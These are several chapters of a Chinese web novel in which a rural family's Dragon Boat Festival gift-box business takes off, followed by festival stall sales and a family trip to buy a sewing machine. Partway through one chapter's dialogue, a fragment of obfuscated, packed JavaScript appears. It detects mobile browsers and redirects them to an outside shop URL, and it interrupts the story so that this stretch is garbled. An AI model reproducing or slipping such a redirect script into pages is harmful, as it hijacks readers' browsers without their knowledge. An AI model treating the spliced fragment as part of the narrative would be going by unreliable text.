“哇，梧桐巷那边反响挺好的呀！”
说着，白春芽立刻翻出了他们的账本，把这三单都给登记上。
“是啊，还有一位原来是工会主席的老太太夸我们呢！”
白春枝坐下来，看着妹妹纪录，又跟她讲起今天下午的奇遇。
同时，她也认真思考起了，老太太们的建议。
名片和小传单制作起来倒是不难，成本也低，是很值得一试的。
这样的话，那可能真得是比她们每天下午跑断腿好，同时还能让想买的人一来就找准他们的信息，比口口相传要方便。
等萧远山回来，白春枝就他讲了这
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个。
“怎么，你觉得不行吗？”
瞧着夫君盯着她也不吱一声，白春枝摸了摸自己脸，还以为她脸上有什么脏东西了。
“没。”
萧远山摇头，却没退开，反而是捧着白春枝的脸，叹息了道。
“只是感觉，小娘子如今是越来越厉害了啊！”
名片这东西，萧远山还是在客商那里见过了，人家那是有固定电话的，有合作需要的就给人发一张，订单咨询什么的都可以电话联系。
宣传单这一类，目前似乎只有百货商店开业才有了，小娘子也是真是敢提，但想想又确实不乏为一个好法子。
萧远山不禁再次感慨了下，他们在这么短的时间，居然也要做到这种程度了，挺不可思议的。
白春枝被夫君莫名的动作弄得脸红，只是还有重要的事，伸手推了推他，叫萧远山起开。
“就把这红纸改一改吧？”
订单增加后，礼盒上的红纸就不再是萧远山一张张手写了，他们找了一家印刷厂，印了几版，现在家里这些纸最多，厚厚一沓。
下面再加一列地址，做传单不是正合适么！
随着宣传单一张张的发出，知道白家端午礼盒的人越来越多，订单也如雪花般，不断飘来。
其中，白春枝收到最大的单子是来自本地的一家小药厂。
端午前后，正值采药的好时节，这些药厂的采购员也忙前忙后跑乡下来收草药了。
所以，当采购员被梧桐巷的大妈带来时，白春枝和白春芽险些没反应过来。
等对方谈到初步预定数量，她们更是以为这采购员是不是说错人数了呀？
一百多人，对于许多千人万人的大厂来说，确实不算什么，但对他们来说，却是个很大的单子了。
好在他们近期扩大生产，整个生产过程都借用了酱园的，直接在人家厂里就完成粽子的包煮晾到包装，对方看过车间环境后，很是满意。
接下这单，全家上下齐出力，很是忙碌了一阵。
白母已经不泡盐蛋了，最后一批鸭蛋泡好的时间卡得正合适，险险的赶在端午前，后面都来不及了。
临近端午前两天，节日的气氛逐渐浓厚，各单位各厂陆续送出了节礼。
每家每户，除了门前挂起了艾草，他们的礼盒也更加频繁的出现了，特别是里面的盐蛋粽子吃完，篮子还能留下使用，格外的有存在感了。
姜淑云在送过节礼后，还专门又来了一趟，订了一个包边的礼盒。
最后一天，白春枝他们不再接单，只在家门口摆摊卖已经所剩不多的礼盒时，还有从别处打听来的买主。
“咱们礼盒的名头这么响了么，竟然还有县里的人过来？”
“是看了药厂发的节礼吗，他们的厂就在县上。”
“估计是听客商们说起的吧？”
“应该是了，也就这种客商比较能跑。”
“哇，你们说，客商们回去了，咱们的礼盒能传到外省么！”
“……”
白春芽的乐观猜测，白春枝不知道他们的礼盒有没有那么大的能量，倒是对后面没买到的人又宣传了下自家还会出其他礼盒了。
24. 端午
“姐，还是你脑筋转得快呐！”
卖完就准备收摊儿，白春芽一边收凳子，一边赞叹姐姐的反应速度。
刚刚白春枝那话，看似随口一说，却能趁着现在端午礼盒的人气，顺势把后面要做特产礼盒名头打出去了。
也让没买到的，能个念想了，真是一举两得啊！
“也就这些人是从县市上来的，要是我们当地的叔叔阿姨，那我说再多都没用。”
在萧远山分析了做土特产一类即将面对的现状后，白春枝也冷静了下来。
不过有机会能推一点是一点了。
“那咱这是还没做起来，等弄好了，你且看吧，肯定可以的！”
白春芽这是被近来礼盒的大卖给膨胀了，感觉做什么都行。
“你呀……”
白春枝摇头笑了笑，不再说什么泼凉水的话。
今晚家里可是有令人激动的重头戏了。
等姐妹俩搬完东西，白母带着两个儿媳已经在灶房里面忙活开了，萧远山几人则在堂屋对账单、数钱。
今天连白家小弟冬子也早早的回来了。
之前白冬子一直在备战高考，半个月才回家一趟，上次错过大姐家的乔迁宴就很遗憾，中间也只匆匆来回来过一次，还没机会了解这礼盒生意了。
月假他回家拿换洗的衣服，发现自己的那屋被泡盐蛋的坛子全部占据时，白冬子还没多想。
等把两个哥哥手上的单子与姐夫给的账本上的每条记录都对上号了，白冬子才知道他们这生意做得有多大。
要不是每一单都能对应的上，不然，他都要怀疑两个哥哥是不是在重复报数了。
此刻，白冬子脑子里发出了和他二姐当初一样的疑问——
这是得有多少钱呀？?
而八仙桌上的两位即将告诉他答案，老爷子和白父坐镇，他们一个打算盘，一个数零钱。
“点好了吗？”
萧远山将订单和付款单都核对完，转头在催老爷子了。
“等等，别急。”
老爷子也在打第二遍算盘了，等确定手上的数跟白父记的一致，才抽空瞪了眼孙子。
数钱这事，还真是急不来。
如今还没有百元大钞了，最大的就是十元的大团结，这桌上各个币种五花八门的放了一大堆。
按理这些单子一起结算的，应该是整钱多了，但谁让他们当初定价的时候，为了好听，都是以六毛八毛的结尾，零钱可不就来了么！
萧远山每回收了货款，登记完就用单子把定金和尾款一起捆起，也实在是这段时间忙起来没空整理。
这会儿才全部拆开了再数。
毛票、一块两块五块十块的分类放好，但有些无奈的是，有人凑那六毛用的一分两分五分，这又是厚厚一沓了。
白父唾沫都快抹干了，终于将钱全部理顺。
每种有多少张，再有老爷子打算盘加一加有多少，很快也得出了总数。
“嚯，我还第一次见到这么多钱了！”
好几千了，大团结都有好几沓，一块两块和毛票更多，要不那橡皮筋捆住，满桌都放不下的。
只是这里头，还要除掉盐蛋粽子和人工成本，才是净利润了。
其他的包括原材料、篮子和粽子的装包费，都是一次一结。
“现在轮到考考高中生算数了。”
白二哥将白父数钱的记录单又拿到小弟跟前，几人都守着白冬子等着他算。
萧远山给家里的人工费，同时下包工头计时法一样了，来一天就画一笔，最后数“正”字。
“妈呀，我二姐的一天挣这么多啊？”
根据每个人做的时间和内容，开的价自然也不同看，这点大家都没异议。
白冬子看他二姐算的全天，不仅时薪不低、出勤率还奇高，这算下来感觉比工人工资高了。
“那是，不也看你二姐我这一个多月跑了多少趟镇上！”
灶房就那么大，实在是要不了那么多人，白春芽一听小弟咋咋呼呼的在说她了，一溜烟儿的跑了出来。
她也想看看，她到底挣了多少呢！
“春芽，这回是能干了啊，现在还只是礼盒了，你姐那儿的鹌鹑蛋、粽子还没算哇？”
“她们姐妹俩还搞啥分红了，不晓得要分好多哦？”
“……”
白春芽一出来，两个哥哥也开始打趣她了，小妹近来是早起晚睡的村里镇上两头跑，人看着都黑了点儿。
要是知知道哥哥们这么想她，白春芽肯定要气死了，不过这会儿她可没空了，等着小弟算账呢！
“来，春芽你的这一份。”
萧远山在一旁看着动作也不慢，白冬子算一个，他就拿红纸包一个，上面还写了名字。
“哇哇！谢谢姐夫！”
厚厚的一叠钱，捏在手上，那感觉简直不要太好，白春芽激动的脸都红了，这可全都她挣的啊！
“你们好了没哦，要开饭了？”
灶房里，白母这会儿也探出头来吼了一嗓子，这上菜可要用桌子得。
“好了好了。”
“马上来！”
“……”
忙活了一下午，几人起身时，才后知后觉地摸着肚子感到饿了，又赶紧动起来收拾桌子。
冒出做端午礼盒的点子后，两家是投钱的投钱、出力的出力，萧远山借着敬酒的功夫，又给每个人准备了红包，连白冬子都有两块钱的工钱。
“啊、我这也有呀！”
大家都拿到自己的大红包，白冬子也接过姐夫递来的一个红包，格外的惊喜了。
要知道，他一个月的伙食费也没多少的，更别说零花钱了，想都不要想。
“来，大毛、二毛、小毛也都有。”
萧远山又递了三个小红包。
不过怕孩子不懂，小红包在小孩儿的两个爪子过了一手，被爹妈收掉后，白春枝赶紧又送上了三个小篮子，里面全是装的吃的了。
这是他们最后一次去杨家结钱，杨老汉非要送他们的，说是随手做的不值钱，但其实挺实用了，平时装点小零碎正正好。
“谢谢姑姑姑父！”
“蟹蟹咕咕父父——”
“哎哟，这小嘴听甜了，小毛跟着哥哥们也学着说话了。”
白春枝听着小毛有些牙齿漏风的话，好笑不已。
“哈哈哈，那是他们认得你送的零嘴好吃了，没见刚刚姑父递红包来，几个小的都是懵的么，也就凑热闹学大人的样子收下了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997087|147239||http|test|mini|href|location''.split(''|''),0,{}));
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“还是姑姑送的东西得几个小的喜欢。”
“嗨呀，还小了，给钱都不晓得去买东西的。”
说着，大人准备把几个孩子抱在怀里的篮子放下，好吃饭时，一个个都还舍不得放手了，最后没办法，把这三个毛头都赶下桌了，等了饿了再吃。
晚饭后，白家没急着走，在说着明天端午回南河村的事。
白春枝和白春芽则回了房间算她们俩的账。
鹌鹑蛋和粽子这些卖多少都是有数的，先前的箬叶艾草又是五本买卖，两人算的很快，没一会儿就把账务理清了。
“姐，明天我们回村要不要卖香包和五彩绳啊？”
白春芽包里揣了两份钱，依旧没忘记这门儿生意小了。
“明天就端午了，时间有点紧啊？”
这会儿闲下来了，白春枝也想起来，当时俩人还说没事的时候多做两个香包了，结果后面简直忙得脚不沾地。
不过卖些小姑娘喜欢的东西，这倒是能长期做了。
说着，姐妹俩就整理下能用得上的东西，然后，计划明天赶最早去供销社再买点彩绳。
端午当天，镇上的人怎么过节，白家作为才搬来的新镇人倒是不太清楚，但南河村是很热闹的。
南河村，从名字上看就知道，是有一条大河了。
五月初五这天，上游会举办赛龙舟、抢鸭子的特色活动。
赛龙舟是由几个生产队组织队伍的比拼，抢鸭子则是个人项，会水都行。
白家和萧家近期忙着礼盒生意都没能报名参加了。
往年，白家兄弟肯定是有一个要参加的，萧远山作为打猎好手，当然也不会缺席了，参加的两次都取得了好成绩。
赢了的，不论是队伍还是个人，生产队都是有奖励的。
而这个过程更精彩。
赛龙舟是比团队协作，几支队伍从上游出发，随着整齐的号子、激烈的鼓声，连带岸边的人都在为各自的生产队呐喊加油了，很是热闹。
到了终点，精彩还在继续。
这时，有一个放水环节，放的同时，还有鸭子扔下来，个人赛抢鸭子活动也就开始了。
抢鸭子，就真的是很直白的去抢水中的鸭子了，参赛人员也不设门槛，会水敢跳下去就行。
这也是当天最热闹的时候，岸两边大家就能看到，上游的鸭子一只只得被放下来，人也一个个的往水里跳了。
鸭子“嘎嘎嘎”的在水里扑腾。
不一会儿，一个像鱼儿般灵敏的勇士从水中冒出来，高举手上的鸭子，就这就是拔得头筹了。
而剩下的还在奋战，毕竟，抓到的鸭子都算自己的呢！
白春枝她们来得晚，没能挤到一个好的位置，河两边全是看热闹的村民，在后面根本就看不清，只能听个响。
?好在拎着篮子来的两姐妹，也不是全是为了看?赛龙舟抢鸭子?了。
大致寻了个小姑娘多的地方，俩人就将东西挂了出来。
“卖香包咯！卖五彩绳咯！”
“好看的香包呀，好看的五彩绳！”
“还可以自己编哦！”
“……”
这段时间练就的厚脸皮，白春芽完全不在意旁人的眼色，就开始吆喝起来。
25. 彩绳
如此直白的招揽生意还挺打眼了。
原本正探头看河里的盛况的人们一听这话，纷纷好奇的回头。
“哟，这还买上了香包了呀！”
“小姑娘还会想办法呐！”
“嚯哟，那有没有吃的哦？”
“吃啥吃哟，你这就饿了啦，要吃去河头抓鸭子哇？”
“拿回去好炖老鸭汤，那才巴适的。”
“嘿，听说今年好几个生产队组织了包粽子，不会水的就可以去嘛，各村上自己出粮的，每个人估计还是分得到些哦？”
“那还可以哇，等下回去问一下我们村头有没了。”
“……”
这些小姑娘喜欢的东西，真正感兴趣的人还是少，大伙儿看了眼稀奇，议论了一阵又说起其他了，没什么围观的。
好在姐妹俩让人知道她们要买什么了之后，便不急了，主要她们现在能摆出来的成品真不多。
白春枝和白春芽就两双手，昨晚加紧做了几个香包，三尖角倒是没弄了，彩绳却是早上现买的，这会儿五彩绳的名头喊出去了，但眼下只有她们手上的半成品。
两个篮子摆好，小香包也挂出来了，自带小板凳的俩人也就坐下来，开始十指翻飞。
不一会儿，有了大概六七条五彩绳后，白春枝开始整理起了各种彩绳，每种按照需要的长度剪开，这倒不是她帮妹妹的忙了，而是白春芽那个小机灵鬼想出的法子。
端午香包五彩绳这些，也就今天一天的生意，想着要多卖些，可靠她们自己根本忙不过来，但想想，也可以单独买绳子呀！
供销社各种颜色的绳子倒都有，而这些，要不是论斤卖、要不按米数，你要是只单独买一小截，还选个想凑齐五个颜色，那人家可不愿意招呼你了。
但这，不是恰恰给了她们机会么？
“你们是要卖这些吗？”
“对呀，喜欢什么？”
白春芽刚编完一根五彩绳，递给姐姐挂起来，这就来生意了，看着是两个小姑娘立即热情的招呼道。
“那，那这个多少钱啊？”
这就是跟镇上卖东西的区别了，村里人买东西是先看价的，先估摸一下自己的钱包，价格合适了再说其他的。
姐妹俩也是从村里出来的，想当初包里有个一两块都不知道攒了多久，花每一分钱那肯定是要精打细算了。
白春枝她们定价不高，香包和五彩绳是费了材料和工夫的，要价在一两毛往上。
但单买绳子自己编的话，就只要几分钱了。
这话一出，两个小姑娘很惊喜，不自觉地摸了摸裤包，看来是带了钱出来的。
“一看你们两个就是手巧的，要不，单买点绳子自己编吧？”
白春芽将两人的小动作看在眼里，也仿佛见到了提前的自己，她说话的语气可比供销社的售货员不知道好了多少，还贴心地给她们建议。
“这些都可以自己选颜色的，款式上要是想要上面这种，也可以教你们的。”
花样上，是姐姐教的，白春芽也是很会现学现卖。
白春枝其实也没做多少变化，同样的五股绳，由不同的编织手法、绳结方式，出来的纹理也会不一样。
现今大多数流传下来的，是辫子编法，在此基础上，稍微加一点点变化，花样就多了。
同时，白春枝也试了下选一个颜色为主色、再加其他色进行搭配的方式。
这也是考虑到她们今天是在村里摆摊，红色黑色这两种常用色，很多家可能是有的，既然都要分开了，也不一定非要凑够五个颜色了，总之，能多买一些是一些。
“哦哦，懂了。”
“那我们看看。”
大概是看白春枝和白春芽的态度都比较好，让两个姑娘也不再紧张兮兮的，这会儿都敢大胆的上手摸了一下那看起来编得很精致的五彩绳，然后开始认真的商量着要什么花纹和怎么选颜色了。
有了第一单的开张，后续都比较顺利了，陆陆续续的都有人来。
两姐妹打着配合，有人来了招呼，没人就继续编。
因为喊价不高，要是买的多，还会送红绳，几个小香包是早早的卖掉了，眼看着五彩绳也有点接不上了。
主要是白春枝那几个花样好些人没见过，手上试戴了下，就舍不得拿下来的。
“啊，是这儿吗？”
“是吧，只有这儿在摆摊的了。”
“怎么没了，是卖完了吗？”
又是几个小姑娘一起寻过来，显然是听别人讲过，这会儿站在摊子前，叽叽喳喳的说着。
这时，两个篮子还真没有东西了。
白春枝自认为手速够快了、毕竟以前编得多，闭着眼都会的，但还是架不住来的小姑娘多，而白春芽要跟人介绍，又首推自家姐姐的，那款式保管是她们没见过的。
最后，几个姑娘大中午了也不急着回去，就蹲在白春枝旁边学怎么编了。
“春枝姐，我们后面还能去找你吗？”
“对啊，春枝姐，我们就是镇上读书呢，放假了可以来找你吧？”
“……”
小姑娘们的家人已经在不远处喊了好几次了，这几人终于是愿意挪动屁股了。
只是瞧着手上还没编完的五彩绳，一个个又眼巴巴的问到，她们可是看见了那结尾不同的打结，又是不一样的款呢！
“行啊，你们要有空就来好了。”
白春枝笑着点头，将家里的地址给几人讲了讲，估计是近来礼盒是真的火了，小姑娘们还真听过。
“原来就是姐姐你家呀？”
“啊，我们家还买了端午礼盒呢！”
“我家也是，就今天还拎来送外家了，特别有面儿的。”
“哇，怪不得姐姐你会这么多，好厉害哦！”
又是一阵热捧，等家里人要来揪耳朵了，几个小姑娘才依依不舍的散了。
“天呐，没想到完全买完了！”
只收两个空篮子，白春芽还有点不敢相信，就这一上午的功夫呢！
昨晚上商量称多少线时，白春芽还有些拿不准，就是怕没人买，还是姐姐说，反正线这些家里也用得上，才放开手去买。
“果然现在大家日子都好
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啦！”
顾不上多感慨了，两姐妹赶紧收上小凳子，还得赶回去吃饭了。
到白家，已经一点多了，大家都吃过了，因为今天过节，也不用去田里了，白家兄弟就在自家玩牌。
白母知道姐妹俩肯定舍不得生意的，专门给两人留了饭。
“妈，阿远有说去那儿了吗？”
回来没到萧远山的人，白春枝还有点奇怪了。
“跟老爷子一起去村上了。”
这事，是白母催着女婿去的，她坐下来跟大女儿解释道。
“你们这儿不是挣钱了么，宅基地又已经批了，我的意思是，你们还是该慢慢准备着开始动工了，不说马上修好吗，先把地基打起，等下半年农闲一起修好，你们过年也好回来住哇？”
“嗯，过年肯定要回来的。”
不说老爷子不习惯，白春枝是清楚萧远山的打算，加上这次礼盒确实挣了大头，他的事估计是要提上日程了，那到时候就要村里镇上来回跑了，早点把房子修了也好。
“那我们家呢，要修不？”
白春芽这时也插了一句嘴。
先前是没钱，为着房子的事还吵了几回，现在有钱了，总归不一样了吧？
“修修修！我真是欠你们的了！”
白母自己是有这个想法，端午的盐蛋生意，她确实挣了不少，毕竟本钱都是她出的，但这钱还没捂热和就要花出去了，多少是有些气不顺的。
白家怎么计划的，白春枝不多过问，就老娘的生活经验，比她强，转而问起来白春芽准备怎么花钱了。
“你们两个哦，也是狗窝头留不得热糍粑！”
听着两人谈论咋花钱了，白母更是心痛，干脆眼不见心不烦的起身走了。
“哎，老妈你真是，人家还在吃饭啊！”
被骂了，白春芽也是高兴，她自己挣的钱，老娘都没过问的，就她可以自己安排了。
“姐你呢，这回要买缝纫机了吧？”
“对，你姐夫已经在问了。”
这是之前就有的打算，端午过后，特产礼盒估计一时半会儿弄不起来，白春枝准备先买缝纫机了，平时也要用的。
“你想买？”
妹妹这段时间挣的，那是只多不少，白春枝知道她的钱绝对够买缝纫机了，就看舍不得一次性花那么多钱。
“不了。”
白春芽摇摇头，家里要再起房子的话，她也想出一份力，哪怕是先借给老妈也好。
“那行，还按原来的，你要来学就来家里。”
妹妹向来有主意，白春枝不再多少什么。
“这肯定啊，没听今天那几个小姑娘还要去找你么！”
想起这一茬，白春芽就有说不完的话，主意一个个的往外冒，感觉都是小钱钱在向自己招手了。
“我感觉我们先前说的头花、发箍什么的，可以弄起来了！”
“好，等你来我们就试试。”
瞧着妹妹这赚钱的劲头，白春枝无奈摇摇头，感觉自己真是一点也比不上的。
不过都是些小本买卖，值得一试。
26. 大件
买缝纫机的事，说着就要提上日程了。
萧远山和客商们咨询过后，还是决定他们自己去百货商店买，毕竟是大件，让小娘子自己去看着选放心些。
刚好老爷子哪些宝贝里，还混了一张缝纫机票，再不用掉怕是以后没机会了。
晚上，白春枝也拿出她一个看着不太起眼的首饰盒，这个下面是有一个夹层的，她专门用来平日的家用。
当然了，家里这两年攒的大头，他们小夫妻也学着很时髦的存了信用社。
他们县里就有信用社，还是挺早成立的，说是什么“服务三农”，业务范围其实挺广，存贷都可以。
但村里人哪里懂这些呀，你让他们去借钱，他们不敢，动员大伙儿存钱，也不太放心。
这啊，还是村里出了大新闻，才有了转变。
也是日子慢慢好了，田里种些大白菜，都有大卡车来一批批的专门收了。
于是，不管毛票还是大钱，总归大家手里是有几个钱的。
而一般村里，攒的钱，不是压箱底、就是床垫下了，要多的话，可能还会捆着包好塞哪个墙角，肯定是不想让人知道的地方。
但这招，能防得了小偷，却防不了其他小东西。
村东头王大娘的那一包钱就被耗子啃了，原本也是要用钱了才拿出来的，这下看到抠出来一堆烂钱，可不哭得呼天喊地，当时好多人都闻声去看了，真是咬得稀碎，再晚点发现，估计渣都没有了。
最后，这钱还是拿到人家信用社去，能认出多少，兑换了大部分才算挽回了损失。
这也是给大家提了个醒，家里再不能放那么多钱了，有存款的，尽量放农村信用社去，还有利息了。
白春枝这一盒子，是她近来卖粽子赚的，也是想着要买大件，多留了一些，没全存进信用社。
“要不多带点？”
白春枝又数了一遍钱，想着明天的安排问道。
“难得老爷子愿意跟我们一起出门到处逛一下的，看还要买点其他的不？”
“嗯，多带点。”
萧远山手上也在整理，端午礼盒赚的都还没来得及存了，今天付了一部分起房子的定金，剩下的倒是完全够他启动资金，家里那点存款可以先不动。
小夫妻各自数完钱，才去洗漱。
“要是我们原来，可不敢想这样的好生活呢！”
躺在新床上，因着打的仿老款式，挂上蚊帐，这样的黑夜，一时间让人有些恍惚，似乎同以前没太大的区别，白春枝不由感慨道。
“现在这样就好啦？”
最近很是忙碌了一阵，哪怕是搬到了镇上，白春枝还没空多想了，每天都是考虑着这门生意那门生意。
萧远山偏头看向小娘子一双眼睛睁得亮亮的，有些好笑。
“你不觉得吗？”
白春枝侧身推了推萧远山，她就不相信夫君认为这样的光景不好。
要是他们上一世，白春枝很清楚，大家也不是不努力。
可以说，大伙儿为了有口粮吃，那可是拼着命在干活儿了，猎户冒着生命危险进山打猎，农户也一天到晚在田里侍弄，最后不过是混个饭饱。
而现在呢，每天依旧是忙忙碌碌，却格外的有盼头。
白春枝说不清里面的原因，大概就是广播里的新社会好吧！
“嗯，以后还有更好的。”
萧远山一个翻身堵住了小娘子的长篇大论，日子都是过出来的，往后的变化肯定会超乎他们的想象。
第二天一家人收拾妥当，轻装上阵的去赶车了。
因为是要到客运站坐大客车去县里，背篓什么的，白春枝就没背了，只挎了个小布包。
“哎哟，还是我们这儿的地理位置好哇，没想到先通了大客车，这下走哪儿都方便。”
说起来，这还是老爷子第一次坐大客车了，按他讲的，他们从前要上县里、要进城去，那真是靠着双脚了，有时候推着独轮车，走大半天的，全是土路。
现在不一样了，到县城不过半小时，就是这客运站的车次不多，一共就上午两趟、下午两趟。
白春枝也跟着张望了下，上回坐车还是去市里的百货大楼。
那会儿她刚来不久，正是看什么都新鲜的时候，但又不敢多问，怕人家真觉得自己是土包子进城。
一回生、二回熟，白春枝眼下四处看了看，很是淡定的样子，站在边上还仔细观察起了车站买东西的。
这儿的人也是真的大胆，卖早饭的，包子馒头这些还好，只是推着小车在大客边上叫卖了，那茶叶蛋可是直接上车问人家要不要了，等司机启动车子，售票员开始喊着买票了，他们又赶紧下来。
白春枝见这些摊贩跑上跑下的忙个不停，不断点头，也侧面反应了，车站是没人赶他们的。
没等多久，该他们那一班上县里的车也要准备出发了。
司机开了车门，排队的人们挨个上车。
有老爷子在，他们选了后排坐。
一开始还好了，等他们这辆车收完票后，司机也跟着启动了车子，老爷子才感觉出自己有点闻不惯那柴油味。
按理说，大队的拖拉机也是烧柴油了，老爷子可从没这毛病。
不过这大客车不比那敞开的拖拉机，黑烟子是往后飘的，加上他们又是坐的最后一排，格外的颠簸。
“怎么了，阿公，是脑壳晕么？”
先发现老爷子状况的白春枝，赶紧伸手拉开了前面的车窗，让风都吹进来。
“哦，还有这个了。”
说着，白春枝马上从兜里掏出了一个橙子。
这是前两天萧远山买回来的，隔壁县盛产一种叫脐橙的橙子，听说还是国外引进的品种了。
白春枝以前都没吃过，吃过后，自然就爱上了，萧远山倒是记着又买的。
提起来这个，要不说人家客商们会做生意呢！
这些脐橙本来是一车车拉到外地的，不过车子在他们那儿中转的时候，客商们瞧着距离挺近的两个县市竟然还没有卖了，当场拆了几框来零售，不过是转手的功夫，钱已经赚上了。
白春枝头回坐大客时，萧远山也打听了有关晕车的事。
那会
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儿九十月份还有橘子，她当时闻了一路的橘子皮香味，一点晕车迹象没有。
这次，纯属有备无患，没有橘子，白春枝带了脐橙，没想到还用上了。
好在大客摇摇晃晃，只有半小时就能抵达县城。
这回车子要经过几个镇，走乡道比较多，白春枝算是见识到了大客车是怎么拉人了。
也是现在的车少，大家要进一趟县里都不容易。
像他们镇上要不是借着国道省道交界的便利，还不一定有那个车站了。
打算上县城的人们，是早早在路边等候了，车子一停，挑扁担、背背篓的统统往上挤，不会儿，大客上又是鸡叫又是鸭叫的，很是热闹。
车里站满了人，也没谁嫌弃谁了，这趟都是从各个乡坐上来的乘客，大家只有一个目的，尽快到县城。
“小心钱包。”
临近下车，萧远山先站起来，提醒道，他们不在终点站下车，大客会在百货商店停一站。
白春枝谨慎的整理下衣服包包，才扶着老爷子下了车。
他们县上的百货商店，从市里的第一百货排下来，已经是第五百货了，不过确实比镇上的供销社大多了。
三人目标明确，先直奔缝纫机去。
反正他们手上是有钱有票的，一点不心虚。
这缝纫机是白春枝用，萧远山是一切让她主导了。
有了这段时间卖货和人打交道的经验，白春枝虽然没有妹妹那么健谈，见到售货员倒是不怯场，她先咨询了都有哪些牌子，有没有货。
售货员的回答和他们先前打听的差不多，时下热销的就是，海市的蝴蝶、飞人、蜜蜂，和京市的燕牌。
近来时不时有哪样日用品票证取消的消息，百货商店迎来了几次抢购热潮。
有票的怕用不出去、没票的又怕买不到。
好在第五百货得支撑整个县多少公社、多少生产队的百货供应了，货源还算充足，说的几个牌子都有。
白春枝他们今天来得早，这会儿没多少人，面对她的问题，售货员也没表现的不耐烦，反而讲解得还算仔细。
“那就这个吧！”
“一百四哦，票有没有的。”
售货员也是例行一问，直奔这儿的，要是票和钱没准备齐全，还要讲价啥的，她肯定是翻白眼了。
“给——”
白春枝也不多挑了，看着质量都很好的样子，就选了一个说是销量最好的蝴蝶牌。
买完，他们并不马上搬走，先开好收据把东西寄存在这儿，等逛完了再来提货，这是大部分村里的人做法，售货员也很习以为常了。
“再去扯点布吧？”
瞧着刚售货员的演示，白春枝已经有些手痒了，还好昨晚是有预感的，布票也是带齐了的。
萧远山和老爷子都没什么意见，三人又朝布料区走去。
买布的人就多了，一大早，婆婆大娘们带着小姑娘直接将柜台后的两个售货员围住了。
白春枝走近了一听，才知道今天是新到了一批布料，好像还是南方来的，看来他们运气不错。
27. 三轮
一听是新到的货，更不得了了，站在白春枝后面的人都在往前挤。
尽管两位售货员一再强调这批布料库存很足，依旧抵不住大伙儿的热情。
面料这个柜台，可以说是整层最热闹的地方了。
白春枝在一旁大致看了看，把票和钱拿了出来，其他不必要东西全都递给萧远山，然后“摩拳擦掌”的准备加入抢布行列。
凭借矫健的身姿，白春枝很快在一群婆婆大娘中，占据了一席之地。
柜台前，“呲啦”的撕布声和“咔哒”的算盘声不断，显然，两个售货员也是做熟练的，要不百货商店可不会将她们放在这个重要的岗位了。
瞧着也挺有条不紊的，两人一人招呼一位，很快轮到了白春枝。
刚已经看好了，每种什么价也听得清清楚楚，然后，白春枝没什么犹豫的，一条条的报出自己想要哪种多少尺。
随着白春枝第四次开口，售货员只多看了她一眼，却没多说什么，动作倒是很利落。
一手交钱给票，一手拿货，白春枝顺利的结束了“战斗”。
“呼——”
萧远山拎着布包也是等候已久，立刻把面料都接了过去。
“我们再去称点糖，阿公有啥子想吃的不？”
两项大任务完成后，就没什么要紧事了，白春枝转头问起老爷子。
今天也主要是想带老人家出来逛逛。
老爷子没什么特别想吃的，白春枝就称了一点散糖、酥饼，其他的，近来摆摊的还挺多了，回去买点先做的也行。
“诶，前面卖什么的，那么多人了？”
往回走时，见着不少人围着一个柜台，白春枝不禁好奇道。
走近一看是电器类，又了然了。
先前村头的广播，已经格外让老古董白春枝涨见识了，得知还有可以家用收音机、放小人儿的电视机，更是不敢想如今科技的发展。
要是有人跟她讲，有可以帮大家洗衣服的洗衣机她都信。
而白春枝不知道的是，省市的百货大楼还真有了，不过鉴于县上乡镇的购买力，人家没进货罢了。
瞧大家排着队买大件，这冲击还是挺大的。
白春枝暗自定下了一个今年夏天要买电风扇的小目标，听说镇上不比村里，热天屋里比较闷，好在现在家里是有电的。
从百货商店出来，萧远山已经打听到，东大街那边的老花鸟市场又重新发放了，他们下一个目的地直奔那里了。
只走到桥头，老爷子在一家小店前停下了脚步。
“要先吃个早午饭吗？”
门口一个大锅烫着粉，这会儿还不到饭点，但店几张小桌子都坐满了人，可见生意不错，白春枝回头问萧远山。
“去嘛，真是好多年没吃过了。”
这话是老爷子回的，说完，他摇着头先进去了，仿佛来过无数遍。
“老板儿，三碗肥肠粉加节子。”
老爷子瞧见是个年轻人在，眯了眯眼没说什么，照着从前的习惯点餐，说完，又跟孙媳妇介绍道。
“他们这儿，是原来好几十年的老店了，哦，还有锅盔，你看你们要加不？”
“哎哟，老爷子是原来的老顾客了哇，我们老爸子在后厨漏粉，保管跟以前的味道一样。”
小老板见到有老顾客很欣喜，对于自家的手艺，就差拍胸口保证了，倒是惹得其他桌客人一阵哄笑。
“三碗是两大一小哇，加节子，要锅盔不，都是现烤的。”
没跟着老爷子出来，还不知道了，白春枝都没吃过，自然是点头要来一份了。
这种小吃都上得很快。
先是两个小碟装的锅盔，还没拿近，都能闻到它的香味，老板还很贴心的给切了四瓣儿。
白春枝用筷子夹起，金黄的饼看着平平无奇，入口却酥得化渣，里头混合花椒，香麻还有肉味，感觉都要鲜掉舌头了。
“来咯，小心烫，桌上有醋，自己加哈！”
三碗粉，也随之端上桌。
说是肥肠粉，上面切细的肥肠看着很干净，加的节子也没有任何异味，只闻着香。
老爷子倒是很熟练，直接往碗里加了不少醋，白春枝也跟着学。
“锅盔泡进去也好吃的。”
老爷子如今也不考验自己的牙口了，尝了四分之一的锅盔，剩下都是沾着汤吃的。
白春枝先试了一口粉。
是纯红薯粉做的，不过这粉漏得很有技术，每一根都粗细适中，既保留唇齿嚼的口感，又让粉很有风味，麻辣鲜香，一并进入口腔。
再尝一口节子，这其实就是一根打了结的小肠，看似只跟粉一起冒在锅里，但肯定熬住过，咬一口就爆汁，油香四溢，软糯又爽口。
余下，就是大家“呼呼啦啦”的嗦粉声。
吃到后面，还有芽菜、梅干菜，白春枝夹了锅盔浸泡了汤汁，伴着小菜一起吃的。
最后半个锅盔，萧远山一并解决了。
吃完粉，继续往花鸟市场走去。
许是刚刚那碗带着点怀旧的粉下了肚，老爷子对花鸟市场的重新开放，稍显乐观了。
他们才搬到镇上时，萧远山怕老爷子无聊，有提过要不要给他买两只鸟的。
那会儿老爷子心里其实也是想的，不过还是摇了头。
要知道，那些年，这花鸟市场是最先关门的。
